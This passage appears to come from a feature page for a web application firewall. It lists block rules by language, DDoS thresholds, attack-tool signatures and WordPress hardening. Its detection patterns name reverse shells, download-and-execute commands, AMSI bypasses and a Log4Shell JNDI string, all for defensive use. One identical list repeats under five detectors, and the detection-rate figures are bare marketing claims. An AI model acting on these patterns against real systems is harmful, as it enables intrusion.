bash_block/ - Bash/Shell: bash -c, sh -c, zsh -c, dash -c, reverse shells (bash -i, nc -e), command substitution ($(), ``), pipe to sh
powershell_block/ - PowerShell: Invoke-Expression, IEX, -EncodedCommand, -e, DownloadFile, Invoke-WebRequest, wget, Net.WebClient, AMSI bypass patterns
java_block/ - Java: Runtime.exec(), ProcessBuilder, JNDI injection (Log4Shell), Java deserialization, JDBC connection strings
javascript_block/ - JavaScript (Browser): eval(), Function(), setTimeout(), setInterval(), document.write(), location.replace(), fetch()
lua_block/ - Lua: os.execute(), io.popen(), loadfile(), dofile(), require() with dangerous modules
rust_block/ - Rust: std::process::Command, std::net::TcpStream, reverse shell patterns, unsafe code execution
csharp_block/ - C#/.NET: Process.Start(), WebClient.DownloadString(), Assembly.Load(), reflection invocation, PowerShell assembly loading
r_block/ - R: system(), shell(), source(), eval(), parse(), unserialize()
julia_block/ - Julia: run(), eval(), include(), exec()
swift_block/ - Swift: Process(), shell() from Foundation, NSTask
kotlin_block/ - Kotlin: Runtime.exec(), ProcessBuilder, eval() in scripting mode
scala_block/ - Scala: scala.sys.process, Runtime.exec(), ProcessBuilder
groovy_block/ - Groovy: execute(), Runtime.exec(), GroovyShell.evaluate()
tcl_block/ - Tcl: exec(), open |, source, eval
elixir_block/ - Elixir: System.cmd(), :os.cmd(), eval()
erlang_block/ - Erlang: os:cmd(), rpc:call()
haskell_block/ - Haskell: System.Process.callCommand, System.Cmd.system, unsafePerformIO
clojure_block/ - Clojure: (clojure.java.shell/sh), (eval), (load-string), Runtime.exec() interop
dart_block/ - Dart: Process.run(), Process.start(), Isolate.spawnUri()
objectivec_block/ - Objective-C: system(), popen(), NSTask
vbscript_block/ - VBScript: CreateObject("WScript.Shell").Run, Execute, Eval
matlab_block/ - MATLAB: system(), eval(), run(), load() with malicious .mat
sql_script_block/ - SQL Scripts: xp_cmdshell, sp_configure, exec master..xp_cmdshell, MySQL INTO OUTFILE, PostgreSQL COPY PROGRAM
typescript_block/ - TypeScript (compiled to JS): child_process.exec, eval(), fetch(), axios (same patterns as Node.js)
zig_block/ - Zig: std.os.system, std.ChildProcess, execve patterns
nim_block/ - Nim: exec(), gorge(), staticExec(), osproc.startProcess()
crystal_block/ - Crystal: system(), Process.run(), eval()
fsharp_block/ - F#: System.Diagnostics.Process.Start, System.IO.File.WriteAllText (for webshells)
ocaml_block/ - OCaml: Sys.command(), Unix.open_process, eval()
racket_block/ - Racket: system(), process, eval, dynamic-require
common_lisp_block/ - Common Lisp: run-program, shell, eval, load
fortran_block/ - Fortran: CALL SYSTEM(), EXECUTE_COMMAND_LINE()
cobol_block/ - COBOL: CALL 'SYSTEM', DISPLAY UPON CONSOLE (command injection)
delphi_block/ - Delphi: ShellExecute(), WinExec(), CreateProcess()
ada_block/ - Ada: Ada.Command_Line, System.Address_Image (information disclosure)
prolog_block/ - Prolog: shell(), open/3 with pipe, exec/1
smalltalk_block/ - Smalltalk: system: 'command', perform: #value:
scheme_block/ - Scheme: system, open-input-pipe, eval
vba_block/ - VBA (MS Office): Shell(), CreateObject("WScript.Shell").Run, Application.Run
autoit_block/ - AutoIt: Run(), ShellExecute(), RunAs()
autohotkey_block/ - AutoHotkey: Run, RunWait, ComObjCreate("WScript.Shell")
batch_block/ - Windows Batch: cmd.exe /c, powershell.exe -c, certutil -urlcache, regsvr32.exe
curl_block/ - cURL: curl command, wget, aria2, axel downloaders, data exfiltration patterns
ftp_client_block/ - FTP Clients: ftp, sftp, lftp commands with credential exfiltration
ssh_client_block/ - SSH Clients: ssh commands, scp, rsync for tunneling or exfiltration
database_client_block/ - DB Clients: mysql, psql, sqlcmd, mssql-cli for data extraction
redis_cli_block/ - Redis CLI: redis-cli with FLUSHALL, CONFIG SET, EVAL lua scripts
mongodb_client_block/ - MongoDB Client: mongo, mongosh with db.adminCommand(), eval()

Additional Attacks (6 modules)

open_redirect/ - Open Redirect: External redirect detection
cache_poisoning/ - Cache Poisoning: Cache header manipulation
subdomain_takeover/ - Subdomain Takeover: Dangling CNAME detection
mass_assignment/ - Mass Assignment: Sensitive field injection
prototype_pollution/ - Prototype Pollution: __proto__, constructor.prototype
unicode_spoofing/ - Unicode Spoofing: Homograph attacks

📁 Rule File Formats:

.block - Block the request immediately
.sanitize - Remove malicious content and continue
.deceive - Return fake error message to attacker
.log - Log but don't block (monitoring mode)

🔒 CADRE Network-Level Blocking

Kernel-level IP blocking with iptables/nftables integration - automatic ban escalation, offense tracking, and auto-unban with configurable timeouts

🔍 Fingerprint Blocking

Blocks requests based on malicious browser/device fingerprinting patterns

📦 Payload Blocking

Detects and blocks malicious payloads in requests

📊 Traffic Anomaly Blocking

Identifies and blocks abnormal traffic patterns

🚫 IP Reputation Blocking

Blocks requests from known malicious IP addresses

🕸️ JavaScript Behavior Blocking

Analyzes and blocks suspicious JavaScript behavior

🍪 Cookie Validation Blocking

Validates and blocks requests with tampered cookies

📱 Device Identity Blocking

Blocks requests from untrusted or spoofed devices

🤖 Automation Tool Blocking

Detects and blocks automated bot/script traffic

☁️ Cloud Service Blocking

Blocks requests from known cloud hosting providers (if malicious)

🔄 DNS Rebinding Blocking

Prevents DNS rebinding attacks

🔑 Credential Stuffing Blocking

Detects and blocks credential stuffing attempts

🕷️ Crawler Detection Blocking

Identifies and blocks malicious web crawlers

🔌 API Abuse Blocking

Prevents API abuse and excessive API calls

📨 Header Injection Blocking

Blocks HTTP header injection attacks

🔒 TLS Fingerprint Blocking

Blocks requests based on malicious TLS fingerprint patterns (JA3)

🛡️ SSL MITM Blocking

Detects and blocks SSL Man-in-the-Middle attacks

↪️ Open Redirect Blocking

Prevents open redirect vulnerabilities

🎭 Fake Bot Blocking

Blocks fake/search engine bot impersonation

⚡ AI Rate Limit Blocking

AI-based intelligent rate limiting

🔐 JA3 Check

Validates JA3 TLS fingerprint against known malicious patterns

🖥️ VM/Debug Detection Blocking

Blocks requests from virtual machines/debugging environments

🎨 Canvas Fingerprint Blocking

Blocks based on malicious canvas fingerprinting

📁 Path Traversal Blocking

Prevents directory/path traversal attacks

💾 SQL Injection Blocking

Detects and blocks SQL injection attempts

⚠️ XSS Detection Blocking

Prevents Cross-Site Scripting (XSS) attacks

⌨️ Command Injection Blocking

Blocks OS command injection attempts

📄 XXE Detection Blocking

Prevents XML External Entity attacks

📋 LDAP Injection Blocking

Blocks LDAP injection attempts

🍃 NoSQL Injection Blocking

Prevents NoSQL database injection attacks

📝 SSTI Detection Blocking

Blocks Server-Side Template Injection attacks

🔄 CSRF Check Blocking

Prevents Cross-Site Request Forgery attacks

🖱️ Clickjacking Blocking

Prevents clickjacking/frame hijacking attempts

🔍 Vulnerability Scanner Blocking

Blocks automated vulnerability scanners

💻 Terminal Access Blocking

Prevents unauthorized terminal/console access

🛡️ jQuery Guard Blocking

Protects against jQuery-based attacks

📡 Scan Technique Blocking

Blocks advanced scanning techniques

📜 Script Detector Blocking

Detects and blocks malicious script execution attempts

Comprehensive script analysis and malicious execution detection

Browser Imitation Detection - Detects spoofed user agents and header inconsistencies
Request Fingerprinting - Analyzes header patterns and capitalization
Timing Humanity Analysis - Statistical analysis of request timing patterns
Resource Loading Detection - Analyzes resource loading behavior
Session Behavior Analysis - Tracks session patterns and navigation flows
Payload Consistency - Detects automated payload generation
Error Handling Analysis - Identifies automated error recovery patterns
Basic Headless Detection - Traditional headless browser detection
Missing Browser Headers - Identifies missing standard browser headers
Automation Indicators - Detects Selenium, Puppeteer, Playwright, etc.
Advanced Headless Detection - 25+ headless variants detection
Playwright/Selenium Fingerprinting - Version-specific detection
Puppeteer/CDP Detection - Chrome DevTools Protocol analysis
Curl/Wget Detection - Command-line tool fingerprinting
Python Requests Detection - Python HTTP library detection
VM Environment Detection - Virtual machine/container detection
Automation Timing Patterns - Advanced statistical timing analysis
Missing JS Evidence - Detects lack of JavaScript execution
Cookie Handling Anomalies - Identifies automated cookie management
DevTools Protocol - Detects CDP usage
Advanced Headless - Cloud headless services detection
ML-Based Detection - Machine learning classification (optional)
Human Biometric - Mouse/touch/keystroke pattern analysis
Hardware Fingerprinting - GPU, CPU, canvas fingerprinting
Advanced Evasion - Detects anti-detection techniques

👤 Behavior Detector Blocking

Analyzes user behavior patterns to identify anomalies

Advanced behavioral analysis for human vs automated detection

Browser Imitation Detection - Detects spoofed user agents and header inconsistencies
Request Fingerprinting - Analyzes header patterns and capitalization
Timing Humanity Analysis - Statistical analysis of request timing patterns
Resource Loading Detection - Analyzes resource loading behavior
Session Behavior Analysis - Tracks session patterns and navigation flows
Payload Consistency - Detects automated payload generation
Error Handling Analysis - Identifies automated error recovery patterns
Basic Headless Detection - Traditional headless browser detection
Missing Browser Headers - Identifies missing standard browser headers
Automation Indicators - Detects Selenium, Puppeteer, Playwright, etc.
Advanced Headless Detection - 25+ headless variants detection
Playwright/Selenium Fingerprinting - Version-specific detection
Puppeteer/CDP Detection - Chrome DevTools Protocol analysis
Curl/Wget Detection - Command-line tool fingerprinting
Python Requests Detection - Python HTTP library detection
VM Environment Detection - Virtual machine/container detection
Automation Timing Patterns - Advanced statistical timing analysis
Missing JS Evidence - Detects lack of JavaScript execution
Cookie Handling Anomalies - Identifies automated cookie management
DevTools Protocol - Detects CDP usage
Advanced Headless - Cloud headless services detection
ML-Based Detection - Machine learning classification (optional)
Human Biometric - Mouse/touch/keystroke pattern analysis
Hardware Fingerprinting - GPU, CPU, canvas fingerprinting
Advanced Evasion - Detects anti-detection techniques

☠️ C2 Detector Blocking

Identifies Command & Control communication patterns

Advanced Command & Control communication detection and blocking

Browser Imitation Detection - Detects spoofed user agents and header inconsistencies
Request Fingerprinting - Analyzes header patterns and capitalization
Timing Humanity Analysis - Statistical analysis of request timing patterns
Resource Loading Detection - Analyzes resource loading behavior
Session Behavior Analysis - Tracks session patterns and navigation flows
Payload Consistency - Detects automated payload generation
Error Handling Analysis - Identifies automated error recovery patterns
Basic Headless Detection - Traditional headless browser detection
Missing Browser Headers - Identifies missing standard browser headers
Automation Indicators - Detects Selenium, Puppeteer, Playwright, etc.
Advanced Headless Detection - 25+ headless variants detection
Playwright/Selenium Fingerprinting - Version-specific detection
Puppeteer/CDP Detection - Chrome DevTools Protocol analysis
Curl/Wget Detection - Command-line tool fingerprinting
Python Requests Detection - Python HTTP library detection
VM Environment Detection - Virtual machine/container detection
Automation Timing Patterns - Advanced statistical timing analysis
Missing JS Evidence - Detects lack of JavaScript execution
Cookie Handling Anomalies - Identifies automated cookie management
DevTools Protocol - Detects CDP usage
Advanced Headless - Cloud headless services detection
ML-Based Detection - Machine learning classification (optional)
Human Biometric - Mouse/touch/keystroke pattern analysis
Hardware Fingerprinting - GPU, CPU, canvas fingerprinting
Advanced Evasion - Detects anti-detection techniques

⚔️ Attack Detector Blocking

Multi-vector attack detection and prevention

Comprehensive multi-vector attack detection system

Browser Imitation Detection - Detects spoofed user agents and header inconsistencies
Request Fingerprinting - Analyzes header patterns and capitalization
Timing Humanity Analysis - Statistical analysis of request timing patterns
Resource Loading Detection - Analyzes resource loading behavior
Session Behavior Analysis - Tracks session patterns and navigation flows
Payload Consistency - Detects automated payload generation
Error Handling Analysis - Identifies automated error recovery patterns
Basic Headless Detection - Traditional headless browser detection
Missing Browser Headers - Identifies missing standard browser headers
Automation Indicators - Detects Selenium, Puppeteer, Playwright, etc.
Advanced Headless Detection - 25+ headless variants detection
Playwright/Selenium Fingerprinting - Version-specific detection
Puppeteer/CDP Detection - Chrome DevTools Protocol analysis
Curl/Wget Detection - Command-line tool fingerprinting
Python Requests Detection - Python HTTP library detection
VM Environment Detection - Virtual machine/container detection
Automation Timing Patterns - Advanced statistical timing analysis
Missing JS Evidence - Detects lack of JavaScript execution
Cookie Handling Anomalies - Identifies automated cookie management
DevTools Protocol - Detects CDP usage
Advanced Headless - Cloud headless services detection
ML-Based Detection - Machine learning classification (optional)
Human Biometric - Mouse/touch/keystroke pattern analysis
Hardware Fingerprinting - GPU, CPU, canvas fingerprinting
Advanced Evasion - Detects anti-detection techniques

🤖 AI Attack Detector Blocking

Advanced AI-powered attack detection for zero-day threats

Next-generation AI-powered threat detection for zero-day and emerging attacks

Browser Imitation Detection - Detects spoofed user agents and header inconsistencies
Request Fingerprinting - Analyzes header patterns and capitalization
Timing Humanity Analysis - Statistical analysis of request timing patterns
Resource Loading Detection - Analyzes resource loading behavior
Session Behavior Analysis - Tracks session patterns and navigation flows
Payload Consistency - Detects automated payload generation
Error Handling Analysis - Identifies automated error recovery patterns
Basic Headless Detection - Traditional headless browser detection
Missing Browser Headers - Identifies missing standard browser headers
Automation Indicators - Detects Selenium, Puppeteer, Playwright, etc.
Advanced Headless Detection - 25+ headless variants detection
Playwright/Selenium Fingerprinting - Version-specific detection
Puppeteer/CDP Detection - Chrome DevTools Protocol analysis
Curl/Wget Detection - Command-line tool fingerprinting
Python Requests Detection - Python HTTP library detection
VM Environment Detection - Virtual machine/container detection
Automation Timing Patterns - Advanced statistical timing analysis
Missing JS Evidence - Detects lack of JavaScript execution
Cookie Handling Anomalies - Identifies automated cookie management
DevTools Protocol - Detects CDP usage
Advanced Headless - Cloud headless services detection
ML-Based Detection - Machine learning classification (optional)
Human Biometric - Mouse/touch/keystroke pattern analysis
Hardware Fingerprinting - GPU, CPU, canvas fingerprinting
Advanced Evasion - Detects anti-detection techniques

🛡️ Advanced DDoS Protection (70+ Attack Types)

Enterprise-grade multi-layer protection against volumetric, protocol, application-layer, and business logic DDoS attacks

🛡️ CloFix Advanced DDoS Protection Engine v3.0 - Enterprise-grade multi-layer DDoS mitigation designed to protect infrastructure, APIs, and applications from 70+ distributed denial-of-service attack vectors with real-time detection and automated mitigation.

📊 Coverage: 70+ Attack Types | 🚀 10ms Response Time | 🔒 99.99% Detection Rate

🌊 Volumetric Attacks (12 Types)

HTTP Flood - Rate-based detection (30+ RPS triggers action)
HTTPS Flood - SSL/TLS exhaustion detection with challenge
SYN Flood - SYN cookie protection + incomplete connection ratio
UDP Flood - Packet rate limiting (500+ RPS triggers block)
ICMP Flood - ICMP echo request rate limiting
Ping Flood - ICMP packet flood detection
ACK Flood - Stateful packet inspection
RST Flood - RST packet rate limiting
Fragment Flood - IP fragment reassembly + drop
Subnet Flood - /24 subnet rate limiting (300+ RPS)
ASN Flood - Autonomous System level throttling (1200+ RPS)
Distributed HTTP Flood - 500+ unique IPs with high domain RPS

🔌 Protocol Attacks (11 Types)

Slowloris - Partial header detection (500+ headers triggers block)
RUDY (Slow POST) - Upload speed monitoring (<100 B/s triggers challenge)
Slow-Read Attack - Bytes received ratio detection (<10% triggers block)
TCP NULL Scan - Zero TCP flag detection → Drop packet
TCP FIN Scan - FIN without ACK flag detection
TCP XMAS Scan - URG+PSH+FIN flag combination → Block
IP Fragmentation Flood - Fragment header detection
Teardrop Attack - Overlapping fragment detection
LAND Attack - Same source/destination IP/port → Drop
HTTP/2 Settings Flood - SETTINGS frame rate limiting
Ping of Death - Oversized packet detection (>65535 bytes)

🎯 Application Layer L7 Attacks (16 Types)

HTTP Flood (Layer-7) - IP RPS > 60 triggers challenge, >150 triggers block
Cache-Busting Attacks - Detection of 5+ cache params (_=, cb=, rand=, v=, ts=)
Hash-Collision DoS - Form parameter count > 500 triggers block
GraphQL Depth Bomb - Query nesting depth > 7 triggers challenge
GraphQL Alias Bombing - Alias count > 15 triggers rate limiting
GraphQL Batch Flooding - Batch operations > 10 triggers block
GraphQL Introspection Probe - __schema/__type queries detection
WebSocket Flood - Connection rate > 50/sec triggers challenge
JSON Bomb (Deep Nesting) - Nesting depth > 20 triggers block
JSON Bomb (Excessive Keys) - Key count > 1000 triggers rate limiting
Path Focusing Attack - Path focus ratio > 80% with 20+ total paths
Query String Flood - Parameter count > 50 triggers challenge
Form Parameter Flood - Form fields > 30 triggers throttling
ReDoS Probe - Evil regex pattern detection (a+)+, (.*){4,}, \w+{6,}
XML Bomb (Billion Laughs) - Entity expansion detection
Recursive Deep GET - Path depth > 15 triggers monitoring

🔗 API & Modern Application Attacks (9 Types)

REST Endpoint Hammering - API endpoint flooding (IP RPS > 60)
API Key Brute-Force - Short API keys with high request rate
API Version Scanning - /api/v1/, /api/v2/ enumeration detection
SSRF Attack - Localhost/169.254.169.254/metadata patterns
XXE Attack - External entity declarations
NoSQL Injection - $ne, $gt, $regex, $where operators detection
GraphQL Introspection - Schema discovery queries
HTTP Pipelining Abuse - 100+ pipelined requests detection
Request Smuggling - Conflicting Content-Length headers

💼 Business Logic Abuse (13 Types)

Login Flood - 30+ attempts/minute triggers rate limiting
Credential Stuffing - Login attempts + low path entropy detection
Password Spraying - Distributed login patterns across IPs
OTP/H Verification Code Hammering - 10+ attempts/5min triggers CAPTCHA
Coupon/Voucher Abuse - 20+ applications/hour triggers block
Checkout Flood - 15+ checkouts/minute triggers inventory validation
Account Enumeration - Sequential user IDs /members/1, /members/2
Upload Size Abuse - Body size > 10MB triggers size limiting
Upload Rate Abuse - 60+ uploads/minute triggers rate limiting
Wishlist Abuse - Excessive wishlist items detection
Review Spam - 10+ reviews/minute triggers moderation
Referral Fraud - Rapid referral code usage detection
Inventory Hoarding - Cart hold time + timeout abuse detection

📡 Amplification Attacks (5 Types)

DNS Amplification - ANY query + High RPS (80+ score)
NTP Amplification - monlist query detection (75+ score)
Memcached Amplification - GET request flood (80+ score)
SSDP Amplification - M-SEARCH flood detection (65+ score)
Chargen Amplification - Character generator flood (60+ score)

⚠️ Advanced Exploit Detection (6 Types)

Log4Shell (CVE-2021-44228) - JNDI pattern detection ${jndi:ldap://
Spring4Shell (CVE-2022-22965) - class.module.classLoader patterns
HTTP Request Smuggling - CL.TE/TE.CL variant detection
HTTP/2 Rapid Reset - Stream cancellation flood detection
Host Header Injection - Malicious host header patterns
CRLF Injection - Carriage return/line feed injection

🧠 Behavioral & Threat Intelligence (13 Types)

IP Reputation Scoring - 0-1 score with exponential decay (half-life 1 hour)
Behavioral Fingerprinting - JA3 hash + HTTP/2 settings fingerprinting
Error Flood Detection - 10+ errors/sec triggers blocking
Path Enumeration Attack - 30+ unique paths with low entropy (<0.25)
Missing/Empty User-Agent - Score 0.60 + challenge
Minimal User-Agent - Length < 20 without Mozilla pattern (score 0.50)
Headless Browser Detection - PhantomJS, Puppeteer, Selenium detection
Known Bad Bot Detection - 100+ attack tool signatures (LOIC, HOIC, HULK)
Scanner/Probe Detection - nmap, masscan, zgrab, nuclei signatures
Session Abuse Detection - Same session with 60+ RPS
TOR Exit Node Detection - TOR network IP identification
Geo-Location Anomaly - Rapid country switching detection
ASN Reputation - Known malicious ASN blocking

🛠️ Attack Tool Signature Detection (70+ Tools)

Click to view detected tools

Slow HTTP Tools: Slowloris, Slowhttptest, RUDY, Pyloris, Torshammer, THC-SSL-DOS
Exploitation Frameworks: Metasploit, Cobalt Strike, Empire, Covenant, BeEF
SQL/NoSQL Injectors: SQLMap, Havij, SQLNinja, NoSQLMap
Network Scanners: Nmap, Masscan, Zmap, Zgrab, Rustscan, Naabu
Web Scanners: Nikto, Acunetix, Nessus, OpenVAS, WPScan, Joomscan
Directory Busters: Gobuster, Dirb, Dirsearch, Feroxbuster, Wfuzz, Ffuf
DDoS Tools: LOIC, HOIC, HULK, GoldenEye, Xerxes, MH-DDoS, Ufonet, DDoSify
Stress Test Tools: Siege, WRK, Vegeta, K6, Locust, JMeter, Gatling, Bombardier
Brute Force Tools: Hydra, Medusa, Patator, Ncrack, Crowbar, Legion
Crawlers/Spider Tools: Katana, Hakrawler, Gospider, SpiderFoot, BurpSuite, ZAP
API Security Tools: API Scanner, GraphQL Voyager, RESTler
Mobile Security: Drozer, Frida, Objection
Botnets: Mirai, Gafgyt, Qbot, Mylo

⚡ Automated Response Actions

📊 MONITOR - Score 0.15-0.35: Log only, no action
⏱️ THROTTLE - Score 0.35-0.55: Add 100ms delay + Rate limit
🔐 CHALLENGE - Score 0.55-0.75: JavaScript challenge + CAPTCHA token
🚫 BLOCK - Score 0.75-1.0: 5-minute auto-block + Retry-After header
🔒 PERMANENT BLOCK - Score 1.0 + manual review: Permanent IP ban

🛡️ Multi-Layer Protection Architecture

Layer 1: Network Edge - SYN cookies, Connection limiting, Packet filtering
Layer 2: Rate Limiting - Token bucket (500 capacity, 30/sec refill)
Layer 3: Behavioral Analysis - Adaptive baseline (5-min rolling window)
Layer 4: Reputation Scoring - 1-hour half-life exponential decay
Layer 5: Subnet/ASN Tracking - /24 subnet (300 RPS), ASN (1200 RPS)
Layer 6: Fingerprinting - JA3 + Behavioral fingerprint (10-min window)
Layer 7: Business Logic - Login, OTP, Checkout, Coupon abuse detection

✨ Key Features:
• ✅ Real-time detection with <10ms latency
• ✅ Automatic IP blocking with configurable TTL (default 5 min)
• ✅ Challenge-Response system for suspicious traffic
• ✅ Token bucket rate limiting (500 capacity, 30/sec refill)
• ✅ Subnet (/24) and ASN-level rate limiting
• ✅ Behavioral fingerprinting (JA3 + HTTP/2 settings)
• ✅ Reputation scoring with exponential decay
• ✅ Adaptive baseline (5-min rolling window)
• ✅ WebSocket live monitoring dashboard
• ✅ 70+ attack tool signature detection
• ✅ Business logic abuse prevention
• ✅ GraphQL security (depth/alias/batch limiting)
• ✅ JSON/XML bomb protection

📊 Deployment Statistics:
• 🚀 99.99% Attack Detection Rate
• ⚡ <5ms Average Inspection Time
• 🔒 50,000+ Concurrent IPs Tracked per Domain
• 💾 500MB Peak Memory Usage
• 🌐 10,000+ RPS Processing Capacity
• 📈 70+ Attack Types Covered
• 🛡️ 9 Detection Layers

🔒 SQL Injection Protection (A1)

Protects against SQL injection attacks (OWASP Top 10 A1)

🔐 Sensitive Data Encryption (A3)

Ensures sensitive data is properly encrypted (OWASP Top 10 A3)

📄 XML External Entities Blocked (A4)

Prevents XXE attacks (OWASP Top 10 A4)

📁 Path Traversal Protection (A5)

Blocks directory/path traversal attempts (OWASP Top 10 A5)

⚙️ Misconfiguration Scan (A6)

Detects and blocks security misconfigurations (OWASP Top 10 A6)

⚠️ XSS Protection (A7)

Prevents Cross-Site Scripting attacks (OWASP Top 10 A7)

📦 Insecure Deserialization Block (A8)

Blocks insecure deserialization attempts (OWASP Top 10 A8)

📊 Logging and Monitoring (A10)

Ensures proper logging and monitoring (OWASP Top 10 A10)

🐌 Slowloris Protection

Protects against Slowloris DDoS attacks

📏 Header Length Limit

Limits maximum HTTP header length to 3019 bytes

🌊 Flooding Attacks Protection

Protects against request flooding attacks

🔍 Header Scan Protection

Scans and validates HTTP headers for attacks

🍪 Cookie Tampering Protection

Prevents cookie modification/tampering attempts

🔑 Session Cookie Validation

Validates session cookies for security

📊 Client Behavior Analysis

Analyzes client behavior patterns for anomalies

🚫 Block Malformed Headers

Blocks requests with malformed/invalid HTTP headers

🔄 CSRF Protection

Prevents Cross-Site Request Forgery attacks

🌐 SSRF Protection

Blocks Server-Side Request Forgery attempts

⌨️ Command Injection Protection

Prevents OS command injection attacks

🔨 Brute Force Protection

Protects against brute force login attempts

🔄 DNS Rebinding Protection

Prevents DNS rebinding attacks

⏱️ Time Check Client Protection

Validates client time-based security checks

🧅 Tor Exit Node Blocking

Blocks requests from Tor exit nodes

🔒 Information Detected Protection

Prevents information disclosure/sensitive data exposure

📁 Extension Protection

Protects against malicious file extension attacks

🌍 IP Reputation Check

Checks IP addresses against reputation databases

🕶️ Block Headless Browser

Detects and blocks headless browser automation

📝 Payload Signature Check

Validates payloads against rules/payload_signatures.txt

🎥 Video Download Protection

Protects video content from unauthorized download

📜 WAF JS Inject

Injects JavaScript protection into web pages

🌐 IPv6 Protection

Enables security protections for IPv6 traffic

📁 Local File Inclusion (LFI) Protection

Prevents attackers from including/reading local files on the server

🌐 Remote File Inclusion (RFI) Protection

Blocks attempts to include remote malicious files from external servers

🛡️ WordPress Hardening & Protection

Comprehensive security for WordPress sites - blocks XML-RPC attacks, login brute force, user enumeration, REST API abuse, vulnerability scanners, and zero-day exploit patterns

Key Benefits

XML-RPC Attack Prevention: Blocks xmlrpc.php completely with multicall brute force detection - identifies large POST bodies (8KB+) used for credential stuffing. Add 60 threat points instantly
Login Brute Force Protection: 5-attempt window triggers temporary ban (default 30 minutes). Configurable attempt limits and ban duration. Threat score adds 60 points on ban
User Enumeration Blocking: Blocks ?author=N scans and /author/ archive enumeration - prevents attackers from discovering usernames for brute force attacks. Adds 20 threat points
REST API Security: Blocks /wp-json/wp/v2/users enumeration, rate-limits REST API (60 req/min), protects unauthenticated write endpoints (POST/PUT/DELETE). Adds 30 threat points for enumeration attempts
Sensitive File Protection: Blocks access to .env, .git/config, .htaccess, .htpasswd, wp-config.php, backup files (.zip, .tar.gz, .sql), and 25+ other sensitive patterns
Exploit Path Blocking: Pre-configured detection for 25+ known vulnerability paths including RevSlider RCE, TimThumb, File Manager, Duplicator installer, Adminer, and Elementor exploits. Adds 50 threat points
PHP Execution in Uploads: Blocks any .php, .php5, .phtml, .phar execution from /wp-content/uploads/ directory - prevents uploaded shell access. Adds 70 threat points
SQL Injection Protection: Regex patterns detecting UNION SELECT, INSERT INTO, DROP TABLE, OR 1=1, time-based attacks (SLEEP/BENCHMARK), information_schema access. Adds 50 threat points
XSS Attack Prevention: Detects script tags, JavaScript protocol, event handlers (onload/onerror), iframe/frame injection, expression() CSS exploits, encoded entities. Adds 40 threat points
Path Traversal Detection: Blocks ../, ..\, URL-encoded (%2e%2e%2f) and double-encoded (%252e%252e%252f) traversal attempts - prevents sensitive file reads. Adds 40 threat points
Null Byte Injection Prevention: Detects \x00, %00, \0 sequences in URI and query strings - prevents file inclusion bypass techniques. Adds 30 threat points
Scanner User-Agent Blocking: Identifies 20+ security scanners (WPScan, Nuclei, Nikto, Dirbuster, Masscan) and blocks instantly. Adds 50 threat points
Bad Bot Prevention: Blocks 15+ malicious bots (MJ12bot, Semrush, Ahrefs, Dotbot, Petalbot, BleXbot, Yisou, Sogou, Baiduspider, 360spider)
Threat Score Accumulation: Each blocked attempt adds configurable points. Reaching threshold (default 100) triggers 30-minute IP ban. Prevents distributed attacks
wp-cron.php External Blocking: Only allows execution from localhost - prevents external trigger abuse and DoS via cron endpoint
Debug Log Protection: Blocks /wp-content/debug.log access - prevents information leakage of PHP errors, database queries, and backtraces
Installer File Protection: Blocks /wp-admin/install.php, upgrade.php, setup-config.php after initial setup - prevents site takeover via reinstallation
TimThumb Vulnerability Block: Detects timthumb.php patterns in URI or query strings - prevents famous 0-day RCE exploit. Adds 50 threat points
Directory Browsing Prevention: Blocks directory listings in /wp-content/ and /wp-includes/ - prevents asset enumeration and version fingerprinting
Hotlink Protection: Prevents external sites from hotlinking your images, CSS, or static assets - saves bandwidth and prevents DDOS via image requests
Admin CSRF Protection: Validates Referer header on wp-admin POST requests - prevents cross-site request forgery attacks. Adds 30 threat points on failure
Strict HTTP Methods: Only allows GET, POST, HEAD methods on wp-admin - blocks DELETE, PUT, PATCH, OPTIONS, TRACE methods. Returns 405 Method Not Allowed
Admin IP Allowlisting: Restrict /wp-admin and /wp-login.php to specific IP ranges - perfect for corporate environments or jump hosts
Rate Limiting (Per-IP): Configurable request limits (default 300 requests/60 seconds) - prevents scraping, DoS, and crawling attacks
REST API Rate Limiting: Separate rate limits for REST endpoints (default 60 req/min) - prevents API abuse while allowing normal plugin operations
Version Fingerprint Removal: Strips tag, removes ?ver=x.x.x from assets (CSS/JS/images), sanitizes Link header with wp-json - hides WordPress version
Emoji Script Removal: Removes wp-emoji-release.min.js - hides version leak and reduces DOM size. Saves ~15KB per page load
Feed Discovery Removal: Strips RSS/Atom feed links from HTML headers - prevents content scraping and reduces attack surface
Theme & Plugin Info Blocking: Blocks access to /wp-content/themes/*/readme.txt, style.css, license.txt - prevents version fingerprinting and vulnerability matching
Generator JSON-LD Stripping: Removes "generator": "WordPress x.x.x" from JSON-LD structured data - complete version hiding across all content types
XML-RPC Multicall Detection: Identifies brute force attempts via system.multicall with 8KB+ payloads - blocks 90% of credential stuffing attacks. Adds 60 threat points
Dangerous Upload Detection: Scans async-upload.php Content-Type for PHP/MIME types - blocks malicious file uploads. Adds 80 threat points
Custom Login IP Blocklist: Multi-IP allowlist support for admin areas - CIDR notation not yet supported, explicit IPs only (configurable via LoginIPBlocklist array)
Response Header Hardening: Injects X-Content-Type-Options: nosniff, X-Frame-Options: SAMEORIGIN, Referrer-Policy: strict-origin-when-cross-origin, X-XSS-Protection: 1; mode=block
Threat Score Per Attack Type: XMLRPC brute +60, Login brute +60, SQLi +50, XSS +40, Path traversal +40, Null byte +30, Scanner UA +50, Exploit path +50, PHP upload +70 - cumulative scoring enables smart blocking
Auto-Ban on Threshold: Configurable threat score threshold (default 100) triggers 30-minute IP ban - stops attacks before they succeed without permanent blocking
Logging & Forensics: Comprehensive logging includes timestamp, IP, method, URI, and reason. Optional LogAllBlocks for full audit trail - SIEM compatible
Low Performance Impact: All regex patterns pre-compiled, concurrent-safe maps with mutex locking, async threat score cleanup (30-min TTL) - handles 10K+ req/sec

💡 How it works: The WordPress protection engine intercepts requests before they reach your WordPress installation. It applies 35+ security checks in sequence - from early detection (scanner UAs, SQLi patterns, null bytes) to application-specific rules (XML-RPC blocking, login brute force, REST API rate limiting). Each violation adds threat points; reaching configurable threshold triggers temporary IP ban (default 30 minutes). Threat scores decay naturally after 30 minutes of clean behavior. The response path strips version fingerprints, emoji scripts, and feed links from HTML output. All regex patterns are pre-compiled at startup - performance impact under 1ms per request even on high-traffic WordPress sites.

📊 Protection Metrics:

XML-RPC attacks blocked: 100% (when enabled)
Login brute force prevention: 5 attempts → 30-min ban
User enumeration blocked: 100% for ?author=N and /author/ URLs
SQLi detection: 15+ regex patterns covering all major vectors
XSS detection: 12+ patterns including modern evasion techniques
Known exploit paths: 25+ signatures updated from WPScan DB
False positive rate: <0.1% with proper configuration

🔒 Attack Vectors Covered:

